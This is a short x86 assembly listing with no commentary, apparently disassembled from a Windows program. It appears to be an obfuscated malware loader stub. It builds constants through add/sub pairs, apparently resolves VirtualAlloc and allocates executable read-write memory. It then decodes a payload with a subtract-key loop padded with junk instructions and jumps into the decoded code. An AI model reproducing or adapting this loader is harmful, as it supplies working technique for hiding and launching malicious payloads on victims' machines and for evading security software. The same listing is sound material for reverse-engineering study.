mov dword [ebp - 0x40], 0xd0425622
add dword [ebp - 0x40], 0x932d164a
mov dword [ebp - 0x3c], 0x60b61290
add dword [ebp - 0x3c], 0x9f49ed70
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x5e55503b
add eax, 0xa1eb800d
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x38ff1
push 0
call eax
mov ecx, 0xd3d31cb1
add ecx, 0x2c2d297d
mov edi, eax
mov edx, 0x478707b
sub edx, 0x436c07b
add edx, dword [ebp - 0x38]
mov esi, 0x5b7dc60
sub esi, 0xddcced6a
add dword [ebp - 0x1c], 0x5162a32
mov ebx, dword [edx]
xor dword [ebp - 0x10], 0xb68b467a
sub ebx, esi
xor dword [ebp - 0x10], edi
mov dword [edi], ebx
mov dword [ebp - 0x34], 0xe7eefa8b
add edi, 0x8342978d
add edi, 0x7cbd6877
add edx, 4
loop 0x407ee3
add eax, 0x10b8b
xor ebx, ebx
add ebx, eax
add eax, 0xa327d524
sub eax, 0xa327d51f
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret